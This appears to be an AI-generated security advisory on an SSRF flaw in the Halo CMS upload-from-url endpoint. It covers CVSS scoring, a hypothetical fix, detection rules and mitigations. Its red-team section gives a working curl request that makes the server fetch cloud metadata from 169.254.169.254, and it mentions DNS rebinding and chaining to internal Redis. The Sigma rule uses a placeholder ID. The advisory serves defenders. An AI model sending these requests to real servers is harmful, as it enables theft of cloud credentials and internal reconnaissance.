CVE-2025-44594

Executive Summary

CVE-2025-44594 is a Server-Side Request Forgery (SSRF) vulnerability identified in Halo, a popular open-source content management system. The flaw resides in the /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url endpoint, which allows an unauthenticated attacker to make the server initiate arbitrary HTTP requests to internal or external resources. This can lead to information disclosure, internal network scanning, and potential pivot attacks. The vulnerability affects Halo versions 2.20.17 and earlier. No public exploit code or patch is currently available, but the risk is significant due to the lack of authentication required and the potential for internal network reconnaissance.

Supply Chain & Package Security

Halo is a Java-based application distributed via GitHub releases and Docker images. The vulnerable component is part of the core application code, not a third-party library. However, users should verify the integrity of their Halo installation by checking checksums and ensuring they are not running modified or backdoored versions. The absence of a patch means that supply chain risk is elevated, as users must rely on workarounds or custom mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easily exploitable over the network without authentication, and it can expose sensitive internal services and data.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality that accepts a URL as input. The endpoint /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url is designed to fetch a file from a user-supplied URL and store it as an attachment. However, the application fails to validate or sanitize the URL, allowing an attacker to specify internal IP addresses (e.g., http://169.254.169.254/latest/meta-data/) or other internal services.

Root Cause: The application uses a URL fetching library (likely HttpURLConnection or Apache HttpClient) without implementing proper URL validation, such as:

• Blocking private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
• Restricting protocols to HTTP/HTTPS only.
• Implementing a whitelist of allowed domains.

Attack Flow:

1. Attacker identifies a vulnerable Halo instance.
2. Attacker sends a POST request to the vulnerable endpoint with a crafted JSON payload containing a url field pointing to an internal resource.
3. The server fetches the URL and returns the response content (or stores it as an attachment).
4. Attacker retrieves the attachment to read the internal data.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on common SSRF mitigations.

Vulnerable Code (Java-like pseudocode):

@PostMapping("/apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url")
public ResponseEntity<?> uploadFromUrl(@RequestBody UploadFromUrlRequest request) {
    String url = request.getUrl();
    // No validation
    byte[] data = fetchUrl(url);
    // Save data as attachment
    return ResponseEntity.ok(attachmentService.save(data));
}

Patched Code (Hypothetical):

@PostMapping("/apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url")
public ResponseEntity<?> uploadFromUrl(@RequestBody UploadFromUrlRequest request) {
    String url = request.getUrl();
    // Validate URL
    if (!isAllowedUrl(url)) {
        return ResponseEntity.badRequest().body("URL not allowed");
    }
    byte[] data = fetchUrl(url);
    return ResponseEntity.ok(attachmentService.save(data));
}

private boolean isAllowedUrl(String url) {
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        InetAddress address = InetAddress.getByName(host);
        // Block private and loopback addresses
        if (address.isSiteLocalAddress() || address.isLoopbackAddress() || address.isLinkLocalAddress()) {
            return false;
        }
        // Allow only HTTP/HTTPS
        String scheme = uri.getScheme();
        if (!"http".equals(scheme) && !"https".equals(scheme)) {
            return false;
        }
        return true;
    } catch (Exception e) {
        return false;
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Halo instance (version 2.20.17) using Docker:

   docker run -d -p 8090:8090 --name halo-vuln halohub/halo:2.20.17
   

2. Set up a listener to capture outbound requests (e.g., using nc or a webhook service).

Exploitation Steps:

1. Identify the target endpoint:

   POST /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url
   Content-Type: application/json
   

2. Craft a payload to probe internal services:

   {
     "url": "http://169.254.169.254/latest/meta-data/"
   }
   

3. Send the request using curl:

   curl -X POST http://target:8090/apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url \
     -H "Content-Type: application/json" \
     -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
   

4. Retrieve the attachment ID from the response, then fetch the attachment to read the cloud metadata.

Advanced Exploitation:

• Use DNS rebinding to bypass weak hostname checks.
• Chain with other vulnerabilities (e.g., blind SSRF to RCE via internal services like Redis or Memcached).

Blue Team

Detection:

• Monitor for POST requests to /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url with suspicious url parameters.
• Alert on URLs containing private IP addresses (e.g., 10., 172.16., 192.168., 127., 169.254.).
• Watch for unusual outbound connections from the Halo server to internal IPs or unexpected external hosts.

Mitigation (Temporary):

• Implement a Web Application Firewall (WAF) rule to block requests with private IPs in the url field.
• Restrict outbound network access from the Halo server using a firewall or egress proxy.
• Disable the vulnerable endpoint if not needed, or add authentication.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Halo server to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254, 100.100.100.200).
  • Unusual User-Agent strings in outbound requests (default Java HTTP client).
• File IOCs:
  • Unexpected attachment files containing internal data (e.g., cloud metadata, internal service responses).
• Log IOCs:
  • Access logs showing POST requests to the vulnerable endpoint with url parameters containing IP addresses or internal hostnames.

Detection Engineering

YARA Rule

rule CVE_2025_44594_SSRF_Halo {
    meta:
        description = "Detects SSRF exploitation attempts against Halo CVE-2025-44594"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44594"
    strings:
        $url_pattern = /"url"\s*:\s*"http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|169\.254\.)/
        $endpoint = "/apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url"
    condition:
        $endpoint and $url_pattern
}

Sigma Rule

title: CVE-2025-44594 SSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against Halo CMS via the upload-from-url endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url'
        cs-uri-query|re: 'url=http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|169\.254\.)'
    condition: selection
falsepositives:
    - Legitimate use of internal URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-44594 SSRF Exploitation Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url";
    http_uri;
    pcre:"/url=http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|169\.254\.)/Ri";
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload-from-url via reverse proxy or WAF.
2. Restrict outbound traffic from the Halo server using a firewall or egress proxy to only allow connections to trusted external hosts.
3. Implement input validation manually by modifying the application code (if possible) to block private IPs and restrict protocols.

Long-term Fix:

• Wait for an official patch from the vendor (Halo). Monitor their GitHub repository and security advisories.
• Upgrade to a patched version once released.
• Consider using a security scanner to identify other potential SSRF vectors.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.